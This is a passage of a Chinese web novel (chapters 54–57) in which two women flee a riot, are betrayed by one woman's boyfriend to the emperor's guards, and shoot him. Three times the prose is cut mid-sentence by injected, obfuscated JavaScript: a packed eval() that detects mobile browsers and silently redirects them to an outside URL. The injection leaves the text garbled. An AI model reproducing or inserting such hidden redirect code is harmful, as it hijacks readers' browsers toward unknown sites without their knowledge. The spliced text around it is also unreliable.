“X的,这个殷肆是捅了什么篓子,这下要调查我们的账户,岂不是会查到我们给A区的账户了吗?”旁边一个大叔低声和旁边的年轻人抱怨,虽然他声音不大,祝译和槐翎还是清楚听到了。 “我们只要表达自己的态度就好了,等前面雇来的傻子冲锋陷阵就行,皇帝知道我们的态度应该也会多考量。” “这些人到底靠不靠谱的?都是一群E区逃难的流民,感觉也没什么用处!”大叔又骂了旁边的年轻人两句,这下槐翎和祝译也明白过来了。 怕不是皇帝下令要彻查殷肆,毕竟殷肆是个大歌星,和他有账户来往的人不在少数,只要顺藤摸瓜就能查到些B区地下的违法收入和支出,平日里大家都对这些事情视若无睹,现在要放在明面上说了,很有可能会牵涉到他们切身的利益,简单点只要补上税款就行,复杂点说不定整个企业都要垮掉锒铛入狱,辛苦了半辈子才能在B区站稳脚跟的商人们岂会束手就擒。 于是他们想到了利用贫穷且无处可去的E区流民,只要给他们一点微不足道的金钱,就能让他们在前方发挥作用,就算死了也没人在意。 之后再利用此时大做文章,造势之后还能反过来逼迫皇帝收回命令,况且C区和D区本就对皇帝有不满,只要在B区的带动下,其他两区就能轻易和他们站在同一战线。 他们只在乎自己手里的利益,其他的反倒是其次了。 54. 第 54 章 “这是何等的丑陋。”祝译咬着牙,她握紧了手里的水瓶,而正是这样的人试图控制A区的决策,他们利用政治献金来为自己谋取利益,她早就知道这一点,于是写了相关的计划书上去,却一直未等来计划书被打开的那一天。 或许正是因为这些人,她才会一直被无视、边缘化。 想到这里,祝译就难以保持理智,那说话的大叔就算穿着定制的西装,也难掩身体里的卑鄙与恶臭。 槐翎伸手拦下她,只给了她一个眼神,示意不要声张。 祝译气得呼吸都困难,她只狠狠瞪了一眼大叔,就逼迫自己冷静下来。 也不知道他们雇佣了多少人,这人潮依旧是看不到尽头,祝译试图用手机网络看到些新闻报告,也因为人数太多无法连上网络。 “这场暴动可能会持续一整晚,我们不能留在这里。”槐翎四处张望着,想要找到一个易于突破的口,放眼望去却只能看到一片人影,她们就像是被陷入淤泥的困兽,四肢动弹不得。 “列车会在12点停运,现在是10点,我们还有两个小时。”祝译担心地说道。 旁边的大叔却捕捉到了她话里的关键词,主动搭话道:“小妹妹,你还想坐列车?” 祝译不解地回头看去,只见大叔洋洋得意地晃了晃手里的对讲机,“列车我也让他们停了,可别小看资本。” “你!”祝译气得就要冲上去揍他一顿,不过是践踏他人生命,却还能美化成资本,要停掉列车一点都不难,只要一直有人干扰列车的运行就可以了…… “喂,你也是B区人吧,难道你觉得上面这么做就正确了吗?如果不是那么多事,我们也不至于做这些事情!”大叔似乎很是不满祝译的反应,他似乎是把祝译也看成了暴动的其中一员。 “的确不对。”槐翎把祝译护在身后,她直视大叔的眼睛,“既然如此,那换一个人,你们又觉得如何呢?” “换?换什么?你可别乱说话,我们可是良民!”大叔瞬间变了脸色,他摆摆手后退几步,不想再跟槐翎说话。 祝译自然是听到槐翎的话了,她明白槐翎想要表达的事情,要是换做五年前,她估计会大笑一通嘲笑槐翎,而如今,她却隐隐觉得这似乎是个不错的建议。 她晃了晃头,试图让自己清醒一点,祝译盯着槐翎的侧脸,却发现她并未在开玩笑,相反,那双眼睛竟是如此的坚毅与镇定。 手机传来的震动让祝译转移了注意力,她连忙举起手机去接收信号,原来纪栖在半个小时前就打过电话给祝译,说是可以带她们去安全的地方。 但是后面信号不好,愣是没能联系上祝译,他只好把车停在路边,向祝译发去自己的定位。 “怎么了?”槐翎见祝译的表情有所缓和,祝译也凑过去在她耳边简单概括发生了什么。 “他可信吗?”槐翎还是不大放心地问,如果可以的话,现在的她不想和任何人接触,更何况这还是祝译亲近的人,很有可能会牵连到无辜的人。 “嗯。”祝译把手机抱在手里,谈起纪栖的时候脸上满是柔和的笑容,她这句话没有一点夸张,以她对纪栖的了解,他绝对是这个世上最好的人。 “你考虑清楚了吗?这可能会影响他的未来。”槐翎还是再问了一次。 “只要我跟他解释清楚,他就会明白的,他是一个很好很好的人。”祝译拍拍胸脯保证道。 “不要暴露我的身份就行。”槐翎还是拗不过祝译,只好答应了,而且只要能带她们走出这一片区,之后事情就简单了。 祝译把手机高高举起,她利用断断续续的信号和纪栖取得联系,纪栖此时也找到了接到她们的最近路线,正在赶来的路上,他的语气很焦急,话语里满是对祝译的关心。 有了纪栖的帮助,祝译也明白了暴动的区域划分大概到哪,在祝译的带领下,她们穿过商场与公园,穿过人群避开直升机的搜索,又躲过卫兵的搜查,最终来到了人群的边缘。 祝译浑身湿透,脸色苍白,不得不摘下口罩让自己喘过气来,她实在过于虚弱,槐翎只好把她背起来,都快到这场马拉松的结尾了,可不能功亏一篑。 祝译极其敏锐地注意到停在主路旁的白色车辆,纪栖正高举着手机朝她挥手,又在看到被背着的祝译那一刻跑过来,他惊慌失措的,没有了往日的镇定自若。 槐翎也在看到纪栖的那一刹那有了瞬间的失神,她站在原地,看着纪栖是怎么跑过来的,他还是和过去一样英俊,岁月只增添了他沉稳与平和,那双温和的桃花眼一如既往地轻易让人沦陷进去。 她见过十五岁的纪栖,见过二十五岁的纪栖,如今她看到了三十岁的纪栖。 只是如今的纪栖是为了她背上的祝译而奔来。 祝译没有注意到槐翎难得的失神,她挥了挥手,自己跳了下来,又扑进纪栖的怀里,纪栖丝毫不在意浑身汗的祝译,就这么紧紧抱着她,生怕祝译有什么差错,他那用来做手术的珍贵的手就这么抚去祝译的汗珠,替她整理黏在脸上的发丝。 “快走吧。”祝译催促道,在其他人面前这么亲热她还是有些不好意思的,纪栖点头,抬头看向不远处的槐翎。 槐翎全身都包住了,只露出一双眼睛,她站在原地一动不动,心里庆幸自己提前戴了口罩和帽子,现在这副模样她确实不想让纪栖看见。 “她是我朋友,不爱说话。”祝译为槐翎解围,槐翎没有不领情的道理,她微微颔首,就当做是打招呼了。 纪栖微笑着回应了她,而后又招呼槐翎赶紧上车,好些卫兵都在开车巡逻,他们留在这里不是什么好主意。 车上的广播正在实时播报现在发生了什么,列车停运,关卡关闭,彻底断绝了和其他区的联动,而这些都是B区一部分的自发行为,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643994|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利用此举向A区表达不满,希望皇帝撤回决定。 与此同时,A区也派遣了特殊小队前来处理B区的暴动,看来今夜是不会这么简单就能结束了。 “现在你们是哪里都去不了了,我简单收拾了家里的客房,要不你们就先将就一晚?”纪栖问道,他细心地观察祝译的脸色,看得祝译一阵脸红心跳。 槐翎自然知道纪栖是个好人,她没有反对的道理。 白色的车辆在堵塞的道路上缓慢移动,卫兵在要道上检查车上的乘客,或许因为有了纪栖和祝译的掩护,卫兵只匆匆看了一眼就让他们开走了。 纪栖开车来到了一处高级公寓,和之前那逼仄的安全屋不同,尽管是在B区,这里的公寓也依旧有着极高水准的设计。 槐翎跟在他们两个身后,倒显得有几分多余了,她看得见纪栖是如何握紧祝译的手,又是如何亲密地在她耳边说悄悄话。 已经过去很多年了,槐翎对纪栖早就没有了感情,只有些许愧疚在心底作祟,让她的心里只感觉痒痒的。 祝译显然不是第一次来到纪栖的家,她熟练地从鞋柜里拿出自己的拖鞋,又拿出一双新拖鞋给槐翎,俨然一副女主人的模样。 槐翎低头看着粉红色的拖鞋,还是决定什么都不说,她乖巧地跟在祝译身后,看到了自己可以用来休息的客房,里面被打扫得一尘不染,床单也是干净的。 祝译把槐翎推进房间,又迅速地反锁了房门,压低了声音和槐翎对话。 “我们先在这里待两天吗?” 槐翎摘下满是汗水的口罩,目前来看她们确实哪里都去不了,说不定还真的只能留在这里避避风头了,但是她实在不想和纪栖共处,她和纪栖的往事也不能让祝译知道。 “看情况,麻烦你去和纪栖解释了。”槐翎也压低了声音。 祝译却在她的话语中捕捉到了一丝不自然,她从来没有跟槐翎说过纪栖的名字,为什么她会知道? 她压下心里的不安,还是装作自然地回了话。 “你肚子饿吗,要不要吃点什么?” “不用,没啥必要的话我都只在房间里,你有事可以敲门。”槐翎皱着眉头,她得尽可能地减少与纪栖的接触,这样对大家都好。 “好吧,你早点休息。” 祝译在关上门前偷看了一眼槐翎,没能从槐翎脸上看出点什么,但是心底里的不安却没有半分减轻,这到底是……她不愿多想,纪栖已在大厅等了好一会,要换洗的衣物也提前准备好给祝译了。 祝译在他脸上留下一个吻,多亏了纪栖,不然她们两个今晚还得困在那里。 纪栖把祝译抱在怀里,一个温柔的吻落在祝译的头上,她又抱紧了些。 而她全然没有注意到,纪栖腾出来的那一只手正在编辑信息,而这个信息将会送往远方,纪栖的笑意越来越深,眼里只余下扭曲的渴望。 55. 第 55 章 暴动一直持续到凌晨,直到大家都累了才有了结束的迹象。 但也有一部分人依然坚守阵地,他们拿出了食物和水,席地而坐,一副就待在这里不走的态度。 槐翎只休息了两个小时,她时刻关注外面的情况,生怕会有卫兵突然闯入,但又实在过于劳累,直接靠着门边眯了一会。 清晨,她换上一套干净的衣服,把头发全数塞在帽子里。今天她要带着祝译离开B区,越快到C区越安全。 不过现在祝译还没过来,恐怕是昨天累狠了还在休息,槐翎耐心地等待着,直到一个小时后从厨房传来了做饭的声音,那是和祝译做饭时完全不一样的声音,打蛋器搅动蛋液,粥在锅内翻滚,蒸汽从锅内溢出,那么的平常又富有生命力。 她听着这个声音,感觉自己回到了十五年前。 那个时候的槐翎,就已经十分依赖自己的邻居哥哥,他学习成绩好,人缘也好,不管对待什么人都是温和又有礼,在槐翎一家刚刚搬过来的时候,他是第一个过来打招呼的,带着一盒手工饼干,上面是用奶油写着的“欢迎” 槐翎那时虽然也喜欢和槐雾一起玩,但是槐雾总是发脾气,有一点小事就会掉眼泪,纪栖不一样,他会包容槐翎的任性,也会在生活中教导槐翎各项技能,后来他告诉槐翎,他长大了想成为一名医生,为此他已经事先读了很多相关的书籍,如果顺利的话,他还能跳级提早入学。 纪栖的家庭是非常幸福的三口之家,父母是研究所一起工作的同事,纪栖承载了他们的厚望,希望独子能够在医学道路上做出更多的贡献,纪栖也不负众望,学习成绩优异,早早就获得了医学泰斗的青睐。 槐翎是很敬佩这样的人的,于是在看着纪栖坐在窗边努力学习的时候,她感觉心里有了不一样的变化。 或许是青春期的懵懂,或许是少女心思的萌发,槐翎比谁都要在意这个哥哥。 这样的日子虽然普通,但也足够温暖,她希望能够一直待在纪栖身边,直到两年后,当上皇帝的槐迩带走了槐翎一家,之后就是截然不同的故事了。 被禁锢在别院的槐翎,总是在夜里哭喊,她想要回去那个有着纪栖的家,别院虽然生活无忧,但是槐翎不喜欢这里,父母也总是愁眉苦脸的,虽然在看着女儿的时候会露出笑容,但是槐翎知道这不过是他们的伪装。 所以她趁着暴雨夜跑出去了,她体力向来很好,就算没有交通工具的帮助,她也能够穿越半个A区,凭借着惊人的意志力回到了家里。 她浑身湿透,鞋子也磨破了,轻轻地敲开纪栖房间的窗户。 纪栖刚刚入睡,身上的睡衣松松垮垮的,两眼朦胧地把槐翎迎了进来,为她换上干净的睡衣,擦干净头发,槐翎就这么站在他旁边,看着纪栖那双白皙修长的手为他煮茶,姜的香味飘得到处都是。 喝完姜茶后,槐翎哭着诉说了离开后的生活,纪栖抚摸她的长发一言不发,他抱着槐翎一个晚上,用体温温暖她那瘦小虚弱的身体,等到槐翎睡醒的时候已是第二天的正午。 卫兵带着武装来到了纪栖家里,逮捕了纪栖一家。 其中一个卫兵则是把槐翎带了回去,没有人告诉槐翎发生了什么,但是年幼的槐翎却敏锐地察觉到了——是她害的。 她独自出逃找到纪栖,被卫兵发现了,于是纪栖一家要受到惩罚。 皇帝很生气,他原本是要驱逐纪栖一家去D区的,但是纪栖家里贡献巨大,纪栖也是正直的好青年,在多人求情下,皇帝也只好同意把他们驱逐至B区,永世不得回A区。 那位医学泰斗也只能摇头说可惜,在A区有更好的资源和设备,如果纪栖能一直在A区的话,他会有更大的发展空间,但是在B区也只能做一名普通的医生,再也没办法和研究扯上什么关系了。 不用想也知道,纪栖自然是恨她的,她又有什么脸面去和纪栖说话呢? 她自知是自己的错,也知道道歉没办法解决问题,那份懵懂的感情也随着时间流逝慢慢消失了。 外面传来了祝译说话的声音,槐翎的注意力也渐渐回来,她自嘲地笑了,而后祝译就走来敲响槐翎的房门。 “起来了吗?我把早餐送来了。” 槐翎调整了表情,拉开了一条门缝,祝译整个人都很放松,似是在沐浴在阳光里,她穿了一条宽松的睡裙,长发编成了一条麻花辫,慵懒地挂在肩头,身后的纪栖正在餐桌上摆着早餐,时不时往祝译身上看去。 槐翎把祝译迎了进来,早餐很丰盛,营养搭配得刚刚好,祝译见槐翎状态还好,也就没多说什么。 “我等会过来收哦。” “嗯,再过两个小时我们得走了。” 祝译愣了一下,脸上是转瞬即逝的不舍,但理智让她明白这也是无可奈何的决定,“好,我一会就去换衣服。” 祝译回到大厅,外面传来了碗筷碰撞的声音,还有极为亲昵的对话,两个人有说有笑,就像是真正的家人。 槐翎坐下来一丝不苟地吃完所有早餐,她面无表情,丝毫不被外面的声音所影响。 * 短暂的平和时间很快就结束,槐翎带上所有的行李把碗筷端了出去,祝译也换了一身容易行动的衣服,她充满爱意地看向正在收拾残局的纪栖。 要马上就离开的事情显然祝译已经告诉了纪栖,纪栖的表情未有变化,他依旧带着笑容把碗筷收拾进厨房,似乎对这件事并不感到惊讶。 祝译只觉得哪里不对劲,还没问出口,很快就被纪栖的话语夺取了注意力。 “你们哪里也去不了。”纪栖如此说道。 祝译还愣着,槐翎却马上反应了过来,她拉开窗帘往窗外看去,只见外面不知道何时集结起了一批卫兵,他们的制服显然和别的卫兵不一样,装备更为精良。 “你出卖了我们?!”槐翎不可置信地看向纪栖。 槐翎的话语迅速点醒了祝译,祝译也顿时紧张起来看向纪栖,希望从他嘴里听到些好答案。 “也不算出卖,我只是想要保护我的伴侣罢了。”纪栖伸手把祝译抱在自己怀里,他力气很大,勒得祝译身上马上起了红印。 “纪栖,你这样会害了她。”槐翎咬牙切齿道,现在卫兵都在楼下,这公寓在三十多层,她可没长翅膀! 祝译也沉默地看着纪栖,她嘴唇动了动,想要说出点什么却觉得异常艰难,是真的只为了保护祝译,还是说那只是一个借口? “槐翎,你才是害了她的那个人。”纪栖的眼神变得冷漠,他直勾勾地盯着槐翎,眼里是毫不掩饰的厌恶,那么的直白,让槐翎感觉到一阵不适。 现在细究纪栖什么时候发现她身份已经没必要了,槐翎调整了姿势,她深吸一口气,在看到纪栖那充满敌意的眼神时,槐翎已经告诉自己什么是正确的事,过去的感情和美好的记忆终究只属于过去的槐翎和纪栖,不再是现在的他们了。 槐翎从腰后拿出武器,她利落地解开保险,把枪口对准纪栖的腿。 枪口泛着冷光,它和它的主人一样无情。 “等等,阿翎,不要这样!”祝译惊慌失措地摇头,她看了眼纪栖,又看了眼槐翎,冷汗从她额头流下,“你们不要这样,好好谈谈可以吗?” “谈?你男朋友可是要害死我,我可没那么仁慈。”槐翎冷笑,她枪口又抬了几分,瞄准的是纪栖的大腿,这一枪下去她可以确保纪栖这条腿马上就能废了。 “算我求你了好吗?你也说点什么吧?这一定是误会,对不对?”祝译急忙抓着纪栖的衣袖,希望他能说点什么,但是纪栖却一改往日的温和,露出了丑恶的嘴脸。 “宝贝,你不明白,这是我能回到A区的办法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656370|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他伸手抚摸祝译的头发,祝译惊恐万分地看着自己这变了样的男朋友,嘴巴里一句话都说不出来。 “祝译,离开他身边。”槐翎动了动枪口,意思已经很明确,她们两个可没办法在磨磨蹭蹭下去。 祝译只含着泪摇头,她浑身颤抖,无法理解就短短几分钟发生了什么,她的腰间是纪栖的手,而槐翎的枪口却一直瞄准她的身边人。 “我恨了你半辈子,槐翎,今天终于让我找到机会报复了,是你害得我们变成这个样子,你就乖乖跟卫兵走吧,反正你再怎么闹,你堂叔也不会取你性命不是吗?”纪栖抱着祝译的手慢慢收紧,他力气很大,祝译只觉一阵痛苦从腰部漫延开来,快要让她呼吸困难。 槐翎听到了纪栖的心里话,终究是谈到这件事,她有几分解脱,嘴角微微上扬,能够亲口听见纪栖的这些责骂,反而让她舒服了些,这么多年围绕在她心头的愧疚也得到了减轻。 “不是的,你这样会害死她的。”祝译低声说着,她的泪珠滚烫,掉落在纪栖的手背上,纪栖却恍若未闻。 “怎么会死?那一天她说了那么大逆不道的话皇帝都没生气,反而是我成了替罪羊,宝贝,你是被她蒙骗了,她这样的人惯会装作无辜!”纪栖越说越激动,他满脸通红,脖子的青筋暴起,整个人都被怒火所包围。 “皇帝是怎么知道我说了什么的?”槐翎敏锐地捕捉到了纪栖话里的关键词,她突然有了一个猜测,这个猜测让她浑身打了个寒颤,甚至让她快要抓不住手里的武器。 “你不知道?”纪栖露出了充满了恶意与嘲讽的笑容,“那天你跟我说的心里话,我全都跟皇帝说了,可是啊,皇帝一点也没惩罚你,或许那个时候他看你的眼神就已经不干净了。” 全都跟皇帝说了。 原来,原来这才是真相。 槐翎捂着脸笑了起来,她笑得直不起腰,手里的武器也放了下来,她笑得癫狂,笑声让人感觉不到喜悦。 原来这就是被背叛的感觉,所有付出的感情在此时变成了一个笑话,当全心全意信任的人把真心踩在脚下,一切都已经变味了。 现在槐翎才明白过来发生了什么,她的笑声止住了,但是眼眶通红,没有悲伤,没有难过,从她心底翻涌上来的只有无尽的愤怒。 她愧疚了十五年,以为自己害了无辜的人,甚至怕得不敢直视他们,却从未想过他们这是咎由自取。 她还记得自己跟纪栖说过什么——那句槐迩最在意的话,他藏在心底最不能触碰的禁忌:他的皇位是偷来的,真正的继承人该是槐翎的父亲。 而纪栖为了邀功,竟然向槐迩转述了槐翎说过的话,这不就等于告诉槐迩,纪栖他知道槐迩的秘密吗? 无论是驱逐到什么区,那都是纪栖应得的。 槐翎不得不感叹,自己这堂叔真是难得做了一件无比正确的事情,那是多么的大快人心啊! 不过,现在的槐翎却感觉到了解脱。 真正的完全的解脱。 她终于能够没有任何心理负担朝纪栖开枪,毕竟她现在已经不欠纪栖什么了。 “我还得谢谢你告诉我真相。”槐翎恢复了冷静,她微笑,随之扣下扳机,子弹在眨眼间就穿过了纪栖的大腿,他哀嚎一声随之倒在了地上,血液溅了祝译一身,祝译眼睁睁看着这一切发生,却无力阻止。 她连尖叫都做不到,温热的血液在她脸上缓缓流下来,大脑还在消化那一瞬间的画面。 “过来,祝译。”槐翎的枪口还在对着纪栖,她恢复成平常的槐翎,眼里没有一丝犹豫。 “你为什么要做这种事?”祝译泪流满面,她握紧拳头看向槐翎,眼里竟然是无边的仇恨。 这下轮到槐翎感到不解了。 纪栖出卖了她们,所以她解决了纪栖,她没有做错任何事情。 56. 第 56 章 纪栖因为疼痛几乎要休克过去,他没想到槐翎真的会开枪,他咬牙切齿,脸色苍白,浑身都浸泡在血液里。他是医生,清楚如何紧急处理伤口,幸好祝译还站在他身边,他伸手用力抓着祝译的脚踝,希望她能帮自己一把。 祝译的注意力却完全放在槐翎身上,她哭着质问槐翎,眼泪鼻涕糊了一脸,说出来的话变调不成句子。 她依旧站在纪栖这一边,没有离开半步。 槐翎是不想再和祝译浪费时间的,她背上背包,侧过身去就要离开。 “你要是被抓了应该是要用刑的,槐迩没那么仁慈,你脚边的那个人也没那么大能力保护你。”她这话说得无情,但也是事实,她已经尽可能去劝祝译了,但是祝译现在满脑子都是自己这个倒在血泊里的男朋友,再多的话语都没有了意义。 祝译被槐翎的话语提醒了,她立马蹲下身去手忙脚乱地利用自己的急救知识为纪栖止血,她的泪水稀释了脸上的血迹,一直以来都那么温柔有礼的纪栖怎么突然就变成这样了呢? 祝译无法理解。 她感觉头很痛,甚至全身都在痛,尤其是刚刚被纪栖抱着的腹部,一股钻心的痛让她出了一身虚汗,痛得她嘴唇苍白。 纪栖伸手拭去祝译的泪珠,祝译被他冰冷的指尖吓了一跳,下意识躲开了她的触摸。 刚才槐翎和纪栖的对话她听了个一知半解,祝译不知道这背后发生了什么,她的直觉向来很准,从昨天起积累的不安让她精神快要错乱。 她不敢思考自己是否信任了一个错误的人,她害怕自己得到一个正确的答案,尤其是当这个答案会从身心摧毁她的时候。 “别哭,哭了对你的身体不好,你还在怀孕初期……”纪栖的指尖划过祝译的腹部,那里还没有痕迹,却已经在孕育一个新的生命了。 祝译为他包扎的手停了下来,她甚至忘记了去哭泣,只扭头呆呆地看着纪栖。 槐翎也听到了纪栖说的话,她难得地表现出惊讶的表情,眼睛往祝译的腹部看去,一切都串起来了,难怪祝译的体力那么差,难怪无论如何纪栖都要护着祝译,也难怪纪栖自信这件事不会伤害到祝译,因为他早就知道了。 “你是说我怀孕了?”祝译反问。 纪栖全然没有感知到祝译的反常,他挤出个笑容,尽力用温和的声音回答了祝译,“你已经怀孕一个月了,你没有意识到吗?” 祝译低垂头部,她的手从伤口上方移开,又用手背擦去脸上的泪水,紧接着深呼吸数次让自己的语气平稳下来。 “你动了手脚,是吗?”她这话说得足够冷静,也就在刚才,她所有的头痛都消失了,之前所有不能解释的细节终于串联了一起,此刻她的脑子是如此的清醒,蒙在她眼前的迷雾也终于消散。 主动找到祝译的纪栖,猛烈又甜美的追求,迅速拉近的距离,无微不至的关心,深夜里的甜言蜜语,酒后的真言,被天鹅绒包裹着的二人,在一次又一次满足后露出笑容的他,睡梦中搭在她手腕上的手指,不着痕迹地避开亲吻的他,只有一个人发出消息的对话,不再被接听的电话——一切都变得合理了。 “你做的一切都是为了回到A区。我是那么的愚蠢,竟然没能看清你的谎言。”祝译一字一句地说出自己得出的结论,她语气平和,毫无感情,好像说的是别人的事情。 “怎么会?我是真心爱你的。”纪栖立马抬起手来,他想要触碰祝译,再次被祝译避开了,他眼里流露出几分慌乱,这句话里面又有多少是谎言,又有多少是真实,只有纪栖本人才知道。 “祝译,我真的很爱你,宝宝还小,你难道想要他失去父亲吗?”纪栖的脸再次变得狰狞,他顾不上自己的伤口强行坐了起来,沾满血液的手指将将擦过祝译的衣角,祝译后退了半步。 她的眼神是那么的冰冷,好似第一天才认识纪栖。 “建立在目的上的爱,又能有几分真情?”祝译扯了扯嘴角,挤出一个难看又勉强的笑容,“你甚至还想用孩子绑架我。” 槐翎站在一旁,实在没想到还有这样的戏码,她自知在这里插话没有任何好处,但还是没忍住提醒了祝译一把。 “你还走吗?” 祝译恍若未闻,她从自己的口袋里拿出了槐翎给她的武器,学着槐翎的模样笨拙地解开了保险,在这个距离她是绝对能命中的,于是祝译没有多想,把枪口抬起对准了纪栖的身体。 纪栖惊出了一身冷汗,他难以置信地看向祝译,就在刚刚还好端端的,怎么提到孩子她就突然变了脸? 他自认为了解祝译,知道祝译并不反对组建家庭,甚至在言语中也有暗示过想要纪栖求婚,不过祝译的母亲是一个聪明又敏锐的人,她不一定会同意这场结合,所以他加快了进度,只要稍稍做手脚,就能彻底把祝译绑在自己身边,到时候再让祝译去申请纪栖的身份,这样他就能名正言顺回归A区,虽然手段曲折了些,但这绝对是能做到的。 他的计划很完美,等到今天再把槐翎交给皇帝,就能彻底洗脱他的冤屈,日后也不一定要和祝译长相厮守,反正有了孩子,祝译不会跑到哪里去的,等回了A区之后,他想要什么没有?况且纪栖太了解祝译了,知道她心地善良,最见不得他人痛苦,更何况是自己的孩子,就算是没有纪栖的陪伴,她也会好好抚养孩子长大。 祝译的手在颤抖,手里的重量重得快要让她抬不起手,她盯着纪栖,看着眼前自己这个如此深爱的男人,只觉得陌生。 她的手指缓缓扣紧,原来要按下扳机是如此的困难,比她想象中还要花费更多的力气。 脑海里不断闪过和纪栖相处的点点滴滴,每一次约会前她的雀跃、兴奋、期待,甚至难以入眠,漫步在月光下的她是那么用力地握紧纪栖的手,生怕在这充满洪流的时代里失去对方,又在一次次拥抱时去倾听他的心跳,那心跳是那么的有力充满生命力,她幻想过和这个人组建家庭,幻想过两个人住在一起就算平凡但也幸福的生活,幻想过不如就这么离开A区和他一起生活,她可以放弃工作,只为能与爱人厮守。她是真的爱这个人,以至于此刻的心像是被撕裂一般疼痛,让她呼吸困难。 槐翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666570|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见祝译的身体正在用力的呼吸,似是要把所有的氧气都充满大脑,祝译脸色苍白,表情绷得紧紧的,槐翎不知道祝译是否做好了准备,无论是对孩子的事,还是对纪栖的事。 最终,她来到了祝译的身边,把手放在了枪口上。 纪栖在此时看到了些微生还的机会,他松了口气,冷汗从脸上掉到地板上,发出了极细微的声音,在这个令人窒息的寂静环境里是那么的响亮。 没等他说话,槐翎就抢先打断了。 “别脏了你手,让我来吧。” 祝译没有听槐翎的话,她深吸一口气,推开了槐翎。 “这次就让我来吧,有些事情总得有一个了结。” 纪栖睁大了眼睛,他张大嘴巴看向槐翎,不敢相信这两个人竟然真的想杀了自己,念在他们过去的情谊,怎么会真的走到这一步? 尤其是祝译,她应该会站在自己这一边才是的,可是现在到底是怎么一回事? “求你了,我还年轻,我的理想还没有实现……”纪栖流下眼泪,他往日戴上的面具终于在生死攸关之际破碎,表露出来的是最真实的他,既丑陋又卑微。 枪声响起,在公寓里格外明显,甚至还有回声,伴随着纪栖的哀嚎,子弹穿破血肉的声音,是那么的深刻。 祝译闭上眼睛,两行眼泪流下,洗濯了她脸上的血迹。 她几乎难以站稳,踉跄了几步,手里的武器重得让她难以承受。 槐翎沉默地看着死不瞑目的纪栖,她说不出自己是怎样的心情,该是高兴的,却感觉有一种难以言说的悲伤弥漫在心头。 槐翎伸手握住了祝译的手,替她取下武器,枪口还在冒烟,滚烫得让她几乎要抓不住。 * 等杜山来到纪栖身边时,他身下的血液已经干涸。 对于这样的结局他一点也不感到惊讶,像纪栖这样惯会投机取巧的告密者,去到哪里都不会受欢迎,身上只有两个弹孔算是幸运。 他见过十五岁的纪栖,那个时候纪栖跪在皇帝脚边,极尽谄媚地向皇帝报告槐翎说过的话,才十五岁的少年,竟然就已经学会了这一套,该说是A区的风气使然,还是说家庭教育的浸染,这都已经不可考了。 皇帝自然是生气的,况且纪栖父母的研究停滞许久,未有有效的突破,皇帝已经不想再留这样的废物在A区浪费资源了。 他们一家的没落是必然的,又因为和槐翎一家扯上关系,干脆就让槐翎背这个黑锅算了。 杜山看了一眼他的尸体便失去了兴趣,让卫兵在公寓里搜索遗留的线索,那两个人本来是走不快的,现在B区四处都在封锁状态,她们又能去哪里呢? 如果不是纪栖一直在讨价还价提要求,说不定都能赶上了,愣是拖拖拉拉的不肯说出地点,想到这里杜山都想再给他的尸体来上两脚。 “既想回到A区,又想护女人周全,就算怀孕了又如何……这世上哪有两全其美的事情?”杜山点了根烟,烟雾缭绕,他看着茶几上的男女合照,照片上的二人笑容真挚,亲密无间。 57. 第 57 章 苍恃坐在审讯室的椅子上,他被束缚了手脚,神色不惊。 空荡荡的审讯室里静悄悄的,杜山离开已有一天,恐怕是得到了些线索,苍恃什么都做不到,只能静静等待。 他抬头看着审讯室天花板的白灯,他相信槐翎的能力,她绝对能跑出去的,可是之后会怎样,苍恃是一点想法都没有。 约莫过了几个小时后,审讯室的门被打开,进来了一个苍恃怎么都想不到的人。 槐雾被推了进来,他身上虽然没有被束缚,但身后的卫兵紧张地盯着他,防止槐雾有不当的行为。 他大大咧咧地坐在另一个椅子上,翘起二郎腿,看起来要审讯苍恃的人是他。 苍恃盯着他一言不发,槐雾也不说话,两个人就这么互相盯着对方,谁也不想先开口说话。 看守的卫兵站在旁边,目光在二人身上流转,毕竟这两个人看上去一点也不熟。 最先打破沉默的还是槐雾,他站起来在审讯室内走了两步,又抱着手臂居高临下地看苍恃,眼里满是轻蔑。 “所以,是你计划的?”他这话问得没头没尾,但大家都知道他指的是什么。 苍恃闭眼,没有回答他的打算。 就算是审讯,这个水平也太次了,他不可能会乖乖听话说出自己脑子里在想什么。 见苍恃就这么无视了自己的问话,槐雾马上就生气了,他来到苍恃身边,弯下腰瞪着苍恃的眼睛,“喂,你哑巴了?” 槐雾靠得太近了些,苍恃侧头避开他呼吸出来的废气,因为对槐雾的嫌弃太过明显,槐雾气得就差动手揍他。 还是卫兵看不过眼制止了他,不过也正因为此,苍恃才明白槐雾不是作为审讯他的角色而来的,他们如今的身份都是一样的。 想到这里,他又放心了些,槐雾这个傻子终于做了件正确的事。 